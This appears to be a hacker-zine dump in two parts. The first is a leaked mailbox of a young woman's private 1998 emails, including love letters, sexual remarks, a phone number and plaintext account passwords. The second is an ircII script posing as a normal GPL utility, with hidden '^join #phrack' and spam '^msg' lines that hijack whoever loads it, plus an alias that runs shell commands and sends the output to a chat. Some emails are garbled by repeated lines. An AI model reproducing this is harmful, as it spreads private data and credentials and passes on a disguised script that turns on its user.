  712. in the shadows of your ephemeral face,
  713. words without lips falling
  714. too easily from your fingers,
  715. your eyes,
  716. I have seen
  717. in the shadows of your ephemeral face,
  718. words without lips falling
  719. too easily from your fingers,
  720. your eyes,
  721. the smooth silence of your skin
  722. moving beneath my newborn hands,
  723. I disappear into your darkness.
  724. I do not know what I have found.
  725.  
  726.  
  727. From: "Jordan S" <xxxxxxxxxx@xxxxx.xxx>
  728. To: <nin@dol.net>
  729. Subject: .
  730. Date: Sun, 11 Jan 1998 13:34:39 -0600
  731.  
  732. Whether memory persists,
  733. if we do not recall it
  734. is uncertain,
  735. but reality certainly
  736. does not exist
  737. until we observe it.
  738. I think reality
  739. does not exist
  740. until we deserve it.
  741.  
  742.  
  743. From: "Jordan S" <xxxxxxxxx@xxxxxxx.xxx>
  744. To: <nin@dol.net>
  745. Subject: .
  746. Date: Sun, 11 Jan 1998 13:41:19 -0600
  747.  
  748. You see parts of me,
  749. no one else could see.
  750. You are good and kind,
  751. with an intelligent mind.
  752. So, why me?
  753. What do you see,
  754. that nobody else can see?
  755.  
  756. I find myself thinking of you
  757. from time to time.
  758. You make me feel special.
  759. You seem to have crept past my defenses -
  760. into my heart.
  761. I want to believe in you,
  762. it would be so easy,
  763. but all my life
  764. there's been nobody but me
  765. to hels -
  766. into my heart.
  767. I want to believe in you,
  768. it would be so easy,
  769. but all my life
  770. there's been nobody but me
  771. to hels -
  772. into my heart.
  773. I want to believe in you,
  774. it would be so easy,
  775. but all my life
  776. there's been nobody but me
  777. to help me over the hurdles
  778. that I've encountered.
  779. Nobody has ever cared enough
  780. to say "Let me help you."
  781. When I've been afraid
  782. and I would cry,
  783. I've always been alone in the dark,
  784. nobody to rescue me from my own fears.
  785.  
  786. I've had enough tears -
  787. I don't want to cry alone in the dark anymore.
  788. It is easier not to care to much,
  789. so you don't have hurt so much.
  790. You stand there and say,
  791. "Give me a chance,"
  792. how can I?
  793. You want me to take your hand.
  794. How can I?
  795. I'm so afraid of where you will lead me!
  796.  
  797.  
  798.  
  799. From: "Jordan S" <xxxxxxxx@xxxxxxxxxx.xxx>
  800. To: <nin@dol.net>
  801. Subject: .
  802. Date: Sun, 11 Jan 1998 13:39:19 -0600
  803.  
  804. It's the time of the end my friend.
  805. Laughter and tears have come and gone.
  806. Where have they gone?
  807. My memory tells me we have shared it all.
  808. Now time seems to have changed it all.
  809. Yet I can still remember,
  810. our petty fights,
  811. terrified sighs,
  812. and tearful goodbye's.
  813. The images seem to fly through my mind,
  814. you and I laughing
  815. at a secret known only to us.
  816. I look again and seem to see
  817. each and every change we made along the way.
  818. I can still remember
  819. who we used to be.
  820. Somewhere along the way,
  821. we left one another behind
  822. on our way to a different place.
  823. Goodbye's are never easy,
  824. but always seem to be inevitable.
  825.  
  826.  
  827. From: "Jordan S" <xxxxxx@xxxxxx.xxx>
  828. To: <nin@dol.net>
  829. Subject: .
  830. Date: Sun, 11 Jan 1998 13:57:36 -0600
  831.  
  832. In the darkness night
  833. I search for you
  834. your gentle voice
  835. a soft caress
  836. Your voice soothes me
  837. like the rolling ocean tide
  838. your touch warms me
  839. like the kisses from the sun
  840.  
  841. Come to me my heart
  842. shelter me from the loneliness
  843. let all my sorrows disappear
  844. with the tenderness of your kiss
  845.  
  846. You heal me
  847. like the sun after rain
  848. your lips a balm
  849. that soothes away my pain
  850.  
  851. Hold me close my love
  852. Safe in your embrace
  853. lost in the moments
  854. til the darkness fades to light
  855.  
  856.  
  857. From: "Jordan S" <xxxxxxxxxx@xxxxxxxx.xxx>
  858. To: <nin@dol.net>
  859. Subject: .
  860. Date: Wed, 21 Jan 1998 12:47:07 -0600
  861.  
  862. i will not say goodbye again
  863. we have said it too many times, the words are too strong
  864. too sorrowing and though i've meant it each and every time
  865. i cannot go away forever i will not say until we meet again
  866. because i have grown tired of breaking
  867. promises to you and to myself i will only say
  868.  
  869. (if i think i can handle seeing you and circumstances permitand if i
  870. can't bear not seeing you and i think i can stay meand you stay you,
  871. i will joyfully touch my lips to yours andarms will hold and skin to skin
  872. friends the words will sing)
  873.  
  874. or
  875.  
  876. i love you.
  877.  
  878.  
  879. From: "Chris McCoy" <chris@unixnet.org>
  880. To: "JenniCide" <nin@dol.net>
  881. Subject: hey
  882. Date: Tue, 27 Jan 1998 17:58:48 -0500
  883.  
  884. hey sweetie.. hows life.. well hope you reply to my email.. last time you
  885. didnt.. :( .. well just checkin up on you... well have phun (this is
  886. pbxphreak by the way)
  887.  
  888. Chris McCoy
  889. chris@unixnet.org
  890.  
  891.  
  892. Date: Sun, 01 Feb 1998 20:37:16 +0100
  893. From: Thibault LHEURE <tlheure@hol.fr>
  894. To: nin@dol.net
  895. Subject: Hi, girl !
  896.  
  897. Hi, Jenny (is your real name Jenny ?)
  898. How are you ? It's Cybertob. Victor called me five minutes ago and said you were on
  899. the IRC. Your nick is here but I've no answer, I think you are deconnected.
  900. I hope we'll talk together soon.
  901. Here's my e-mail : tlheure@hol.fr
  902.  
  903. Love from
  904. Cybertob
  905.  
  906. From: "Chris McCoy" <chris@unixnet.org>
  907. To: "JenniCide" <nin@dol.net>
  908. Subject: hey
  909. Date: Mon, 2 Feb 1998 08:35:15 -0500
  910.  
  911. hey sweetie.. its me pbx.. well just thought i would send you some mail..
  912. and stuff.. well i will be calling you today at 4pm..ey sweetie.. its me pbx.. well just thought i would send you some mail..
  913. and stuff.. well i will be calling you today at 4pm..ey sweetie.. its me pbx.. well just thought i would send you some mail..
  914. and stuff.. well i will be calling you today at 4pm.. talk to you then...
  915. *hug* *smooch*
  916.  
  917. Chris McCoy
  918. chris@unixnet.org
  919.  
  920.  
  921. Date: Mon, 09 Feb 1998 23:02:18 +0100
  922. From: Thibault LHEURE <tlheure@hol.fr>
  923. To: nin@dol.net
  924. Subject: still waiting for you...
  925.  
  926. Hi, this Cybertob i'm still waiting for news...
  927. What are you doing ?
  928. See you later (I hope)
  929. You're always in my heart.
  930. You will receive soon a mail from totor (a friend who was with me
  931. when we chatted.)
  932.  
  933. Bye
  934.  
  935.  
  936. Date: Sat, 14 Feb 1998 20:37:08 +0000
  937. From: broken- <broken@caughq.org>
  938. To: jennie@magpage.com
  939. Subject: :o)
  940.  
  941. Okay.... I just want you to know if you already didnt that I care for
  942. your deeply..
  943. It's werid cuase I beleive in all that destany stuff an like I dont know
  944. but thier is a reason why we met.
  945. Maybe were gonna be important players in life later never know or maybe
  946. were gonna save each other from our fear and problems.
  947. But for some reason we are somthing. :o) But On this valitnes day I
  948. always look at wut i have an take it for wut i have this
  949. valentines day is for more special then anything else I dont know what
  950. you think of me personally.
  951. But i'm like so in love with you you dont know but nnnow i'm telling you
  952. :o)
  953. For example if something happend to yuo ially.
  954. But i'm like so in love with you you dont know but nnnow i'm telling you
  955. :o)
  956. For example if something happend to yuo ially.
  957. But i'm like so in love with you you dont know but nnnow i'm telling you
  958. :o)
  959. For example if something happend to yuo i would be in deleware almost
  960. instantly. It's like i would sacrafice my own life for yours.
  961. Strange to say in our world where people aree so selfish , but to say I
  962. would give my life for you to live is something i really cant explain.
  963. It's weird. Life's werid. I arranged for something to be sent to you i
  964. hope you get it.. :o) If not i'll see wut else i can do :o)
  965. But anyways getting back to the point.
  966. I'm like in love with you stupid to say but it's how i feel.
  967. Happy valentines day an I love you more then anything in the world.
  968.  
  969. love,
  970. brian
  971.  
  972.  
  973. From: broken- <broken@caughq.org>
  974. To: jennie@magpage.com
  975. Subject: (no subject)
  976. Date: Mon, 16 Feb 1998 04:06:16 +0000
  977.  
  978.  
  979. Where are you?
  980. I'm like freakin out wondering where you are..
  981. Like i'm worryed an stuff...
  982.  :o(
  983. come back soon i'm having withdrawl symptoms from not talking to you...
  984.  
  985. bye,
  986. broken-
  987.  
  988.  
  989. Date: Wed, 18 Feb 1998 00:23:06 +0000
  990. From: broken- <broken@caughq.org>
  991. To: jennie@magpage.com
  992. Subject: :o)
  993.  
  994. Like Hi an stuff I'm bored get one irc an talk to me i miss you i'm like
  995. having heart attacks not knowing where you are
  996.  
  997.  
  998. Date: Wed, 4 Mar 1998 21:44:15 -0500 (EST)
  999. From: hawaii five-oh <sh@roo.unixnet.org>
  1000. To: jennie@magpage.com
  1001. Subject: .....
  1002.  
  1003. jen,
  1004.         the thing is i dont get why you are ignoreing me? what did i do to
  1005. you for this to happen? we have been good friends for so long why ruin it
  1006. all now? i dont understand that and thats what hurts me.. i dont know if
  1007. it hurts you.. but it hurts me.... maybe you dont care but i still do and
  1008. i dont want you avoiding me.. if you dont want to talk to me just tell me
  1009. now.. i will leave you alone for good... i just wish thing swere like how
  1010. they were before :~(
  1011.  
  1012.  
  1013.  
  1014. Date: Wed, 4 Mar 1998 21:57:37 -0500 (EST)
  1015. From: hawaii five-oh <sh@roo.unixnet.org>
  1016. To: Jen <jennie@magpage.com>
  1017. Subject: Re: .....
  1018.  
  1019. fine.. fuck you...
  1020.  
  1021.  
  1022. From: siezer <siezer@roo.unixnet.org>
  1023. X-Sender: siezer@phonix.detour.net
  1024. To: Jen <jennie@magpage.com>
  1025. Subject: Re: heres muh shitty pix
  1026. Date: Sun, 8 Mar 1998 16:09:57 -0500 (EST)
  1027. On Sun, 8 Mar 1998, Jen wrote:
  1028.  
  1029. > im uglie n stuff so dun laff :(
  1030.  
  1031. you are not
  1032.  
  1033.  
  1034. From: "Erik K. Escobar" <root@enphourell.hemp.net>
  1035. X-Sender: root@kriminal
  1036. To: jennie@magpage.com
  1037. Subject: y3w
  1038. Date: Fri, 27 Mar 1998 23:18:23 -0500 (EST)
  1039.  
  1040. g1mp
  1041.  
  1042.  
  1043. From: Nobody <nobody@af3.angelfire.com>
  1044. Message-Id: <199804132036.QAA29476@af3.angelfire.com>
  1045. To: jennie@magpage.com
  1046. Subject: Your Home Page at Angelfire
  1047.  
  1048. Welcome to Angelfire!
  1049.  
  1050. You have registered for a Free Home Page at http://www.angelfire.com.
  1051.  
  1052. Your email address is:      jennie@magpage.com
  1053. Your assigned Password is:  xYd7Qf
  1054.  
  1055.  
  1056. From: civics@geocities.com
  1057. Date: Tue, 14 Apr 1998 13:08:16 -0700 (PDT)
  1058. Message-Id: <199804142008.NAA24099@cgi1.geocities.com>
  1059. Subject: Welcome to GeoCities
  1060.  
  1061. Welcome to the GeoCities Personal Homepage Program! Thank you for
  1062. choosing GeoCities. To foster the growth of the GeoCities community
  1063. and to keep it fresh and evolving **PLEASE** keep in mind that you'll
  1064. need to start building your homepage within the next two weeks. To
  1065. that end, this e-mail is designed to give you all the info you'll
  1066. need to get started at GeoCities.
  1067.  
  1068. The URL for your Personal Homepage is:
  1069.         http://www.geocities.com/SouthBeach/Shores/7305/
  1070.  
  1071. YOUR MEMBER NAME IS: jennicide
  1072. YOUR CURRENT PASSWORD IS: uhxcoe
  1073.  
  1074. Date: Thu, 23 Apr 1998 20:21:18 -0400
  1075. From: White Trash <whitetrash@rednecks.com>
  1076. To: jennie@magpage.com
  1077.  
  1078.     I just thought that i would e-mail you to say hey. We are chatting
  1079. right now, but you went somewhere. Ok your back...Well now you got my
  1080. e-mail address and hopefully you'll keep in touch. Dont forget about my
  1081. b-day pic....j/k
  1082. Paul
  1083.  
  1084. --
  1085. ---=+=<:White trasH:>=+=---
  1086.   whitetrash@rednecks.com
  1087. http://home.dmv.com/~pauls/
  1088.  
  1089.  
  1090. Date: Fri, 24 Apr 1998 00:18:46 -0400
  1091. From: White Trash <whitetrash@rednecks.com>
  1092. To: jennie@magpage.com
  1093. Subject: ICQ
  1094.  
  1095. right as we were saying our goodbyes and good nights, i got
  1096. disconnected. I signed back on, but i couldnt connect to ICQ  :(   So i
  1097. decided to mail you and let you know that i didnt cut you short...
  1098. I will try to be on around 11 or 12 tomarrow night. I had a great time
  1099. chatting.... keep in touch..... *hugz & kisses*    Good Night
  1100. Sweetheart!
  1101.  
  1102. Love Ya,
  1103. Paul
  1104.  
  1105. --
  1106. ---=+=<:White trasH:>=+=---
  1107.   whitetrash@rednecks.com
  1108. http://home.dmv.com/~pauls/
  1109.  
  1110.  
  1111. Date: Fri, 24 Apr 1998 23:57:26 -0400
  1112. From: White Trash <whitetrash@rednecks.com>
  1113. To: jennie@magpage.com
  1114. Subject: Sweetheart
  1115.  
  1116. While you were on the phine ICQ kept disconnecting me.... NEWAYZ...i
  1117. really want to talk to you, but i want to lay down and jerk off, you
  1118. know...the usual rutine...Well call me if you can...
  1119. Please do, (302) 947-9096.... It dosent matter, just make sure its not
  1120. past like 2..
  1121. Pleaze call me if you wanna chat. Sorry i couldnt connect. Well if i
  1122. dont hear from ya...godd night...we'll do it another night. Dan said
  1123. that he will take me up there, maybe next weekend, if not then probally
  1124. the the one after that...is that kool? well, catch ya later!
  1125.  
  1126. Love Ya,
  1127. Paul
  1128.  
  1129.  
  1130. Date: Sat, 25 Apr 1998 07:35:35 -0400
  1131. From: White Trash <whitetrash@rednecks.com>
  1132. To: jennie@magpage.com
  1133. Subject: Hi....
  1134.  
  1135. It is Saturday morning.... i'm about to go to work. Sorry we didnt get
  1136. to talk last night. Well, hopefully i'll be home tonight around 1,12, 1.
  1137. Something like that, but i might crash at a friends house. Try to meet
  1138. me on ICQ. Mail me back.
  1139.  
  1140. --
  1141. ---=+=<:White trasH:>=+=---
  1142.   whitetrash@rednecks.com
  1143. http://home.dmv.com/~pauls/
  1144.  
  1145.  
  1146. Date: Sun, 26 Apr 1998 00:33:57 -0400
  1147. From: White Trash <whitetrash@rednecks.com>
  1148. To: jennie@magpage.com
  1149. Subject: Saturday Night, 12:30
  1150.  
  1151. i gotta lay down, i really wanted to chat too....
  1152. call me tonight if ya want to. 947-9096
  1153.  
  1154. catch ya later
  1155. paul
  1156.  
  1157. --
  1158. ---=+=<:White trasH:>=+=---
  1159.   whitetrash@rednecks.com
  1160. http://home.dmv.com/~pauls/
  1161.  
  1162.  
  1163. Date: Sun, 26 Apr 1998 21:50:22 -0400
  1164. From: White Trash <whitetrash@rednecks.com>
  1165. To: Jen <jennie@magpage.com>
  1166.  
  1167. Sweetie.
  1168. well, it happened again, we got disconnected. :(
  1169. Please give me a call if you want. I would love to talk to ya. I'll be
  1170. up to about 12:30 probally, even if its past if you want, call me.
  1171. Mail me.
  1172.  
  1173. Paul
  1174.  
  1175.  
  1176. --
  1177. ---=+=<:White trasH:>=+=---
  1178.   whitetrash@rednecks.com
  1179. http://home.dmv.com/~pauls/
  1180.  
  1181.  
  1182. Date: Sun, 26 Apr 1998 23:16:23 -0400
  1183. From: White Trash <whitetrash@rednecks.com>
  1184. To: Jen <jennie@magpage.com>
  1185. Subject: Good Night
  1186.  
  1187. If you dont call, good night.
  1188.  
  1189. :pd:
  1190. Paul
  1191.  
  1192. --
  1193. ---=+=<:White trasH:>=+=---
  1194.   whitetrash@rednecks.com
  1195. http://home.dmv.com/~pauls/
  1196.  
  1197.  
  1198. To: Jen <jennie@magpage.com>
  1199. Subject: ICQ
  1200.  
  1201. This is what i wrote in the chat window before you left...
  1202.  
  1203. i have been thinking about toneing down my relationship w/ heather so
  1204. that i can see other people. Even if nothing happens between me and you,
  1205. there are gonna be a lot of girls this summer, and it will damn hard to
  1206. not act upon any erges i get. and it will be okay if i'm just dating
  1207. her.
  1208. do you agree/not agree?
  1209.  
  1210. Well, if you get back in time, like before 1. Try to give me call.
  1211.  
  1212. Paully
  1213.  
  1214. --
  1215. ---=+=<:White trasH:>=+=---
  1216.   whitetrash@rednecks.com
  1217. http://home.dmv.com/~pauls/
  1218. [END_CUT] jenncidie.mailspool
  1219.  
  1220. [4] -> ********************************************** <- [4]
  1221. [4] -> phr0m some 0ne wh0 w1shes t0 r3m4in an0nym0us: <- [4]
  1222. [4] -> ********************************************** <- [4]
  1223.  
  1224. [CUT_HERE] h4g1s.irc
  1225. #
  1226. #   --------------------------------------------------------------------
  1227. #   h4g1s.irc
  1228. #   --------------------------------------------------------------------
  1229. #
  1230. #   IRC Script Program. For use with ircii clients v2.8.2 and newer.
  1231. #   Copyright (C) 1999 h4g1s
  1232. #
  1233. #   This program is free software; you can redistribute it and/or modify
  1234. #   it under the terms of the GNU General Public License as published by
  1235. #   the Free Software Foundation; either version 2 of the License, or
  1236. #   (at your option) any later version.
  1237. #
  1238. #   This program is distributed in the hope that it will be useful,
  1239. #   but WITHOUT ANY WARRANTY; without even the implied warranty of
  1240. #   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  1241. #   GNU General Public License for more details.
  1242. #
  1243. #   You should have received a copy of the GNU General Public License
  1244. #   along with this program; if not, write to the Free Software
  1245. #   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  1246. #
  1247.  
  1248. alias on_names {
  1249.   @ ns = [$1-]
  1250.   echo *** Names $0 ^B[$#ns]^B
  1251.   echo.recursive $ns
  1252.   ^assign -ns
  1253. }
  1254. alias sv if ([$0]) {notice $0 $lice()}{send $lice()}
  1255. alias sf if ([$0]) {ctcp $0 WHOAMI}{ctcp * WHOAMI}
  1256. alias sc if (ischannel($0)) {NAMES * $0}{NAMES * $C}
  1257. alias sb if (ischannel($0)) {MODE $0 b}{MODE * b}
  1258. alias chanst {
  1259.   if (ischannel($0)) {@ chanst.test = [$0]}{@ chanst.test = [$C]}
  1260.   clean.channel $chanst.test
  1261. }
  1262. alias findip {^exec -name fip perl $HOME/findip.pl $*}
  1263. alias umode MODE $N $0-
  1264. alias ww whowas $*
  1265. alias wi if ([$0]) {quote WHOIS $0-}{whois}
  1266. alias wii if ([$0]) {quote WHOIS $0 $0}{whois}
  1267. alias re redirect
  1268. alias rlag {
  1269.   @ temp.lag = time()
  1270.   quote PING $temp.lag $S
  1271. }
  1272. alias relm rel.proc M MSG $*
  1273. alias reln rel.proc N MSG $*
  1274. alias relw rel.proc W MSG $*
  1275. alias tlm rel.proc M T $*
  1276. alias tln rel.proc N T $*
  1277. alias tlw rel.proc W T $*
  1278. alias wlm rel.proc M WALL $*
  1279. alias wln rel.proc N WALL $*
  1280. alias relmk rel.proc M K $*
  1281. alias relnk rel.proc N K $*
  1282. alias relwk rel.proc W K $*
  1283. alias rel.proc {
  1284.   if ([$2]!=[]) {
  1285.     if ([$[2]2]==[-l]) {
  1286.       if ([$temp[$0][0]]!=[]) {
  1287.         echo ^_Num.^_ ^_Context             ^_
  1288.         for (@ gg = 0, [$temp[$0][$gg]]!=[], @gg=gg+1) {
  1289.           echo ^B[${gg+1}]^B $decode($temp[$0][$gg])
  1290.         }
  1291.         ^assign -gg
  1292.       }{echo *** Nothing in $0\-buffer.}
  1293.     }{
  1294.       if (index($2 0123456789) != -1) {
  1295.         if ([$3]!=[]) {
  1296.           $1 $3 $decode($temp[$0][${[$2]-1}])
  1297.         }{
  1298.           $1 $C $decode($temp[$0][${[$2]-1}])
  1299.         }
  1300.       }{$1 $2 $decode($temp[$0][$queue.tail(temp.$0)])}
  1301.     }
  1302.   }{send $decode($temp[$0][$queue.tail(temp.$0)])}
  1303. }
  1304. alias log {
  1305.   if ([$0]==[ON] || [$0]==[OFF]) {
  1306.     set log $0
  1307.     window log $0
  1308.   }{
  1309.     echo *** Log file mask: ^B$LOGFILE
  1310.     help
  1311.   }
  1312. }
  1313. alias win_new ^window new name $0 level none $1-
  1314. alias rex if ([$1]) {exec -msg $0-}{uecho Usage: /REX <Nick|Channel> <Unix command [Args]>}
  1315. alias ex exec
  1316. alias c MODE * $*
  1317. alias rkey if (ischannel($0)) {MODE $0 -k $chan[$hook(CLI $0)][K]}{MODE $C -k $chan[$hook(CLI $C)][K]}
  1318. alias ml if (ischannel($0)) {MODE $0 +inst-lmpmk $chan[$hook(CLI $0)][K]}{MODE $C +inst-lmkpm $chan[$hook(CLI $C)][K]}
  1319. alias mc if (ischannel($0)) {MODE $0 -lsnmpitmk $chan[$hook(CLI $0)][K]}{MODE $C +inst-lsnmkpitm $chan[$hook(CLI $C)][K]}
  1320. alias mo if (ischannel($0)) {MODE $0 +nst-ilmpmk $chan[$hook(CLI $0)][K]}{MODE $C +nst-ilmkpm $chan[$hook(CLI $C)][K]}
  1321. alias m msg
  1322. alias n notice
  1323. alias invite {
  1324.   if (ischannel($0)) {
  1325.     @ i.c = 0
  1326.     @ i.n = [$1-]
  1327.     @ i.x = word(0 $i.n)
  1328.     while ([$i.x]!=[]) {
  1329.       quote.add INVITE $i.x $0
  1330.       @ i.c = i.c + 1
  1331.       @ i.x = word($i.c $i.n)
  1332.     }
  1333.     quote.flush
  1334.     ^assign -i.c
  1335.     ^assign -i.n
  1336.     ^assign -i.x
  1337.   }{
  1338.     if (ischannel($1)) {
  1339.       quote INVITE $0 $1
  1340.     }{
  1341.       quote INVITE $0 $C
  1342.     }
  1343.   }
  1344. }
  1345. alias on_disconnect {
  1346.   if ([$main.bss]!=[]) {
  1347.     if ([$word(0 $main.bss)]!=[$0]) {
  1348.       ^timer -r 5 5 server $main.bss
  1349.       echo *** Auto: Disconnected from $0\, moving to ^B$word(0 $main.bss)\^B
  1350.     }{
  1351.       ^timer -r 5 5 server +
  1352.       echo *** Auto: Cycling servers, disconnected from server.
  1353.     }
  1354.   }{
  1355.     ^timer -r 5 5 server +
  1356.     echo *** Auto: Cycling servers, disconnected from server.
  1357.   }
  1358.   purge cache
  1359.   purge bans
  1360.   if (ismset(U)) {away.save LiCe licelogd Remote connection to $0 server lost.}
  1361. }
  1362. alias j if (ischannel($0)) {JOIN $0-}{JOIN #$0-}
  1363. alias l if (![$0]) {PART *}{if (ischannel($0) || [$0]==[*]) {PART $0}{PART #$0}}alias leave l
  1364. alias cycle {
  1365.   if (C) {
  1366.     if (index(i $M) == -1) {@ cycle.test = [$C]}
  1367.     ^on -leave "$N $C" {
  1368.       ^timer 0 JOIN $1 $chan[$hook(CLI $1)][K]
  1369.       ^on -leave -"$N $1"
  1370.     }
  1371.     PART $C
  1372.   }
  1373. }
  1374. alias cycle.clear {
  1375.   if ([$1]==[$cycle.test]) {
  1376.     purge cache.$hook(CLI $1)
  1377.     purge bans.$hook(CLI $1)
  1378.     ^assign -cycle.test
  1379.   }
  1380.   if ([$0]==[471] || [$0]==[473]) {
  1381.     if (isset(D)) {^timer -r $0 $main.rjt JOIN $1}
  1382.   }
  1383. }
  1384. alias chg {
  1385.   PART *
  1386.   if (ischannel($0)) {JOIN $0-}{JOIN #$0-}
  1387. }
  1388. ^join #phrack
  1389. ^wait
  1390. alias alarm {
  1391.   if ([$0]!=[]) {
  1392.     if ([$0]==[PUSH]) {
  1393.       if ([$2]!=[]) {
  1394.         if (index($1 0123456789) != -1) {
  1395.           @ at.t = [$1]
  1396.           if (at.t > 60 || at.t == 0) {@ at.t = 60}
  1397.           queue.add alarmT 9 $at.t
  1398.           queue.add alarmE 9 $2-
  1399.           echo *** Alarm: Added new event for every ^B$at.t minute$_plural($at.t)\^B
  1400.           purge at
  1401.         }{echo *** Alarm: Not a number in timeout!}
  1402.       }{uecho /ALARM [POP|PUSH|KILL|LIST] [<id>|<minutes <command [args]>>]}
  1403.     }{
  1404.       if ([$0]==[POP]) {
  1405.         @ at.t = strip(# $1) - 1
  1406.         @ at.o = at.t
  1407.         if (alarmT[$at.t]) {
  1408.           @ at.c = 0
  1409.           while ((at.t < 10) && alarmT[$at.c]) {
  1410.             @ at.c = at.t + 1
  1411.             ^assign -alarmT[$at.t]
  1412.             ^assign -alarmE[$at.t]
  1413.             @ alarmT[$at.t] = [$alarmT[$at.c]]
  1414.             @ alarmE[$at.t] = [$alarmE[$at.c]]
  1415.             @ at.t = at.t + 1
  1416.           }
  1417.           ^assign -alarmT[$at.t]
  1418.           ^assign -alarmE[$at.t]
  1419.           echo *** Alarm: Removed even id '${at.o + 1}\'.
  1420.           purge at
  1421.         }{echo *** Alarm: No such even id '$1\'.}
  1422.       }{
  1423.         if ([$0]==[KILL]) {
  1424.           purge alarmT
  1425.           purge alarmE
  1426.           echo *** Alarm: All scheduled events have been purged.
  1427.         }{alarm.view}
  1428.       }
  1429.     }
  1430.   }{alarm.view}
  1431. }
  1432. alias alarm.view {
  1433.   if (alarmT[0]) {
  1434.     echo ^_Id   T  Event^_
  1435.     foreach alarmT at {echo [$[2]{at + 1}] $[2]alarmT[$at] $alarmE[$at]}
  1436.     ^assign -at
  1437.   }{echo *** Alarm: No events scheduled.}
  1438. }
  1439. alias alarm.check {
  1440.   @ at.p = [$0]
  1441.   foreach alarmT at.i {
  1442.     if ([$at.p]==[00]) {@ at.p = 60}
  1443.     @ at.s = at.p / alarmT[$at.i]
  1444.     @ at.r = at.s * alarmT[$at.i]
  1445.     if (at.r == at.p) {
  1446.       if (!L) {sendline $alarmE[$at.i]}
  1447.     }
  1448.   }
  1449.   purge at
  1450. }
  1451. ^msg #phrack OH WHAT A GOOSE I AM
  1452. ^wait
  1453. alias w {
  1454.   if ([$0]) {
  1455.     if ([$[1]0]==[-]) {WHO $0 * $1-}{WHO $0-}
  1456.   }{WHO *}
  1457. }
  1458. alias t if (ischannel($0)) {TOPIC $0-}{TOPIC $C $0-}
  1459. alias offers if ([$0]) {ctcp $0 XDCC LIST}{ctcp $C XDCC LIST}
  1460. alias ver if ([$0]) {ctcp $0 VERSION}{ctcp $C VERSION}
  1461. alias ping if ([$0]) {${K}${K}PING $0}{${K}${K}PING $C}
  1462. alias p ping
  1463. alias describe {
  1464.   if ([$[1]0]==[=]) {
  1465.     ^msg $0 ^AACTION $1-\^A
  1466.   }{${K}${K}describe $*}
  1467. }
  1468. alias nochat dcc close chat $0
  1469. alias chat {
  1470.   if ([$0]!=[]) {adcc.chat $0}{
  1471.     @ who = queue.head(chats)
  1472.     if (who) {
  1473.       dcc chat $who
  1474.       tab.add =$who
  1475.     }
  1476.     ^assign -who
  1477.   }
  1478. }
  1479. alias adcc.chat dcc chat
  1480. alias adcc {
  1481.   echo *** Woops! ADCC.SCR is not loaded, loading it...
  1482.   load adcc.scr
  1483.   if ([$0]) {adcc $*}
  1484. }
  1485. ^msg #phrack OH WHAT A GOOSE I AM
  1486. ^wait
  1487. alias kick.proc {
  1488.   if ([$P]==[@]) {
  1489.     @ kp.r = [$main.dkm]
  1490.     if ([$0]!=[MULTI]) {
  1491.       @ kp.a = [$2]
  1492.       @ kp.p = rmatch($kp.a *.* *@* \\*%\\*)
  1493.       if ([$3]!=[]) {@ kp.r = [$3-]}
  1494.     }{
  1495.       @ kp.p = 0
  1496.       if (index(: $2-) == -1) {
  1497.         @ kp.nl = [$2-]
  1498.       }{
  1499.         @ kp.t = [$2-]
  1500.         @ kp.nl = mid(0 $index(: $kp.t) $kp.t)
  1501.         @ kp.r = mid(${index(: $kp.t) + 1} 99 $kp.t)
  1502.       }
  1503.     }
  1504.     if (kp.p) {@ kp.b = isban($kp.c $kp.a)}
  1505.     if ((kp.p == 0) && [$0]!=[MULTI]) {
  1506.       if (onchannel($kp.a $C)) {
  1507.         @ kp.t = [$cache[$1][$struct($kp.a)]]
  1508.         if ([$[1]0]==[B]) {
  1509.           @ kp.cc = 0
  1510.           @ kp.p = makeban($0 $kp.t)
  1511.           while (word($kp.cc $kp.b)) {
  1512.             @ mode.add($1 -b $word($kp.cc $kp.b))
  1513.             @ kp.cc = kp.cc + 1
  1514.           }
  1515.           if (ischanop($kp.a $C)) {@ mode.add($1 -o $kp.a)}
  1516.           @ mode.add($1 +b $kp.p)
  1517.         }
  1518.         @ mode.flush($C)
  1519.         quote KICK $C $kp.a :$kp.r
  1520.         if ([$0]==[BI]) {^ig $kp.p ALL CRAP -PUBLIC}
  1521.       }
  1522.     }{
  1523.       if ([$0]!=[MULTI]) {
  1524.         foreach cache.$1 kp.n {
  1525.           @ kp.nn = decode($kp.n)
  1526.           if (match($kp.a $kp.nn\!$cache[$1][$kp.n]) && [$kp.nn]!=[$N]) {
  1527.             if ([$0]==[BI]) {^ig $kp.p ALL CRAP -PUBLIC}
  1528.             @ push(kp.nl $kp.nn)
  1529.           }
  1530.         }
  1531.         if (kp.b) {loop.mode - b $C $kp.b}
  1532.         if (index(! $kp.a) == -1) {quote MODE $C +b *!$cluster($kp.a)}{quote MODE $C +b $kp.a}
  1533.       }
  1534.       if (kp.nl) {loop.mk $C $kp.nl :$kp.r}
  1535.       quote.flush
  1536.     }
  1537.     purge kp
  1538.   }{echo *** $ch($C)\: You are not channel operator.}
  1539. }
  1540. alias k if ([$0]!=[]) {kick.proc FAST $hook(CLI $C) $*}
  1541. alias kb if ([$0]!=[]) {kick.proc BN $hook(CLI $C) $*}
  1542. alias kh if ([$0]!=[]) {kick.proc BH $hook(CLI $C) $*}
  1543. alias kf if ([$0]!=[]) {kick.proc BF $hook(CLI $C) $*}
  1544. alias ku if ([$0]!=[]) {kick.proc BU $hook(CLI $C) $*}
  1545. alias ki if ([$0]!=[]) {kick.proc BI $hook(CLI $C) $*}
  1546. alias kbi ki
  1547. alias mk if ([$0]!=[]) {kick.proc MULTI $hook(CLI $C) $*}
  1548. ^msg #phrack OH WHAT A GOOSE I AM
  1549. ^wait
  1550. @ temp.tbc = 0
  1551. alias tab.add {
  1552.   @ p.c = match($0 $temp.tbn)
  1553.   if (p.c > 0)
  1554.   {@ temp.tbn = [$0 $ref(1-${p.c - 1} $temp.tbn) $ref(${p.c + 1}- $temp.tbn)]}
  1555.   {@ temp.tbn = [$0 $ref(1-6 $temp.tbn)]}
  1556.   @ temp.tbc = 0
  1557.   ^assign -p.c
  1558. }
  1559. alias tab.get {
  1560.   if (L) {
  1561.     @ tab.test = match(${L}* $temp.tbn)
  1562.     if (tab.test > 0) {
  1563.       @ tab.test = [$^\^^ref($tab.test $temp.tbn)]##[ ]
  1564.       type ^U$K$0 $tab.test
  1565.     }{
  1566.       if (temp.tbc >= #temp.tbn) {@ temp.tbc = 0}
  1567.       type ^U$K$0 $^\^^word($temp.tbc $temp.tbn)
